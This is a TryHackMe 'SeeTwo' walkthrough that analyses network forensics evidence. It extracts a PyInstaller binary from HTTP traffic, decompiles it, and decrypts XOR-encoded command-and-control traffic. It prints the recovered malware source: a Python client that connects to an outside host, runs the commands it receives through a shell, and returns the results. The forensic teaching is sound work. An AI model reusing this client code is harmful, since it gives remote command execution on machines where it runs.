Post

SeeTwo - TryHackMe - Walkthrough

TryHackMe network traffic forensics which involves reversing a binary.

SeeTwo - TryHackMe - Walkthrough

This Room is rated as Medium! Visit the room here: https://tryhackme.com/r/room/seetworoom

Description

You are tasked with looking at some suspicious network activity by your digital forensics team.

The server has been taken out of production while you analyze the suspicious behavior.

Click on the Download Task Files button at the top of this task. You will be provided with an evidence.zip file. Extract the zip file’s contents and begin your analysis in order to answer the questions.

Note: For free users using the AttackBox, the challenge is best done using your own environment. Some browsers may detect the file as malicious. The zip file is safe to download with md5 of ea6f0bf505f87d18c9881de055b63ed3. In general, as a security practice, download the zip and analyze the forensic files on a dedicated virtual machine, and not on your host OS.

So first I downloaded the file.

How I solved it

I started my initial investigation in Wireshark by inspecting the traffic.

Wireshark and the first impression

There is a huge amount of http traffic (green packages). If we inspect the protocol hierarchy we see mainly TCP and HTTP. This indicates that there is a huge amount of data send in clear text over HTTP.

Hierarchy Wireshark

Now let’s inspect some data streams of HTTP to find out what is inside them.

Base64 HTTP package

This looks like base64-encoded data, and that’s not only for that stream but for multiple data streams. Now let’s use tshark to extract the base64 from the stream 2 which was the first I discovered. I saved the base64 response as a file and removed the HTTP headers from the file so I could decode the huge amount of encoded data.

Why is the stream 2 more interesting to me than the others? This stream is very huge over 31 megabytes of data, so this likely can be some tool or some exfiltrated data.

1
cat base64-stream2.txt | tr -d '\n' | base64 -d > stream2

This is nice the extracted blob of data is a ELF binary, so the next step for me was to open this binary in Ghirda. After some searching where the main function or some equivalent is, I found this piece of code which looks pretty interesting.

Pyinstaller strings

There is something with pyinstaller which catched my eye. If we google pyinstaller we are provided with the following page:

Google results

This is a executable which makes a python script to one binary. So let’s search the internet if there is any decompiler to retrieve the original code. I found this tool https://github.com/extremecoders-re/pyinstxtractor, I cloned the GitHub repositry and then this command:

1
python pyinstxtractor/pyinstxtractor.py stream2

Now I got like all files used for that binary, this is now decompiled to .pyc files, which are essentially compiled python scripts:

The file client.pyc looks interesting. I couldn’t open it because it’s compiled, so I searched for a extractor. I found another tool uncompyle6 which let’s us do this.

1
2
pip3 install uncompyle6 # if you need to install it
uncompyle6 client.pyc > client.py

Wow now we have the source code which we can reverse engineer the messages send in the other base64 encoded TCP streams:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import socket, base64, subprocess, sys
HOST = "10.0.2.64"
PORT = 1337

def xor_crypt(data, key):
    key_length = len(key)
    encrypted_data = []
    for i, byte in enumerate(data):
        encrypted_byte = byte ^ key[i % key_length]
        encrypted_data.append(encrypted_byte)
    else:
        return bytes(encrypted_data)


with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    while True:
        received_data = s.recv(4096).decode("utf-8")
        encoded_image, encoded_command = received_data.split("AAAAAAAAAA")
        key = "MySup3rXoRKeYForCommandandControl".encode("utf-8")
        decrypted_command = xor_crypt(base64.b64decode(encoded_command.encode("utf-8")), key)
        decrypted_command = decrypted_command.decode("utf-8")
        result = subprocess.check_output(decrypted_command, shell=True).decode("utf-8")
        encrypted_result = xor_crypt(result.encode("utf-8"), key)
        encrypted_result_base64 = base64.b64encode(encrypted_result).decode("utf-8")
        separator = "AAAAAAAAAA"
        send = encoded_image + separator + encrypted_result_base64
        s.sendall(send.encode("utf-8"))

Looks like every command of the C2 server. The C2 server connects to a server and executes commands which encrypted by the XOR encryption. The key for the XOR encrypted data is MySup3rXoRKeYForCommandandControl. Before the data we send a image which is used to reduce risk of detection, after that we get a separator and the XOR encrypted data. I checked the WireShark traffic and found out that we captured the commands send, the only thing we need to do is to decrypt it. So let’s build a reverse tool to get the commands back.

You can use this command to extract the data from TCP stream 3 which most likely is the stream we need to investigate.

1
tshark -r capture.pcap -qz follow,tcp,raw,3 | sed '$ d' | tail -n +7 | tr -d ' ' | while IFS= read -r line; do echo "$line" | xxd -r -p;echo ""; done > part1.txt

For the second stream of interest I just changed the output file and the stream after the raw,, stream 3 and 4 look interesting.

To go further we need to remove the image from the data to extract the commands. I build this nice python script with the help of some python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import base64


def xor_decrypt(encrypted_data, key):
    key = key.encode("utf-8")
    key_length = len(key)
    encrypted_data = base64.b64decode(encrypted_data.strip())
    decrypted_data = bytearray()
    
    for i, byte in enumerate(encrypted_data):
        decrypted_data.append(byte ^ key[i % key_length])
    
    return decrypted_data.decode("utf-8")

def decrypt_file(input_file, output_file, key):
    with open(input_file, "r") as infile, open(output_file, "w") as outfile:
        for line in infile:
            line = line.split("AAAAAAAAAA")[1]
            try:

                decrypted_text = xor_decrypt(line, key)

                outfile.write(decrypted_text + "\n")
            except Exception as e:
                print(f"Failed to decrypt line: {line.strip()}, Error: {e}")

# Configuration
input_file = "part1.txt"
output_file = "part1_commands.txt"
key = "MySup3rXoRKeYForCommandandControl"

decrypt_file(input_file, output_file, key)

print(f"Decryption complete. Decrypted data saved to {output_file}")

After I extracted the command I was able to complete the room.

Here are the extracted commands:

Conclusion

I really liked the room it involved different techniques and tools and I could learn some new stuff.

This post is licensed under CC BY 4.0 by the author.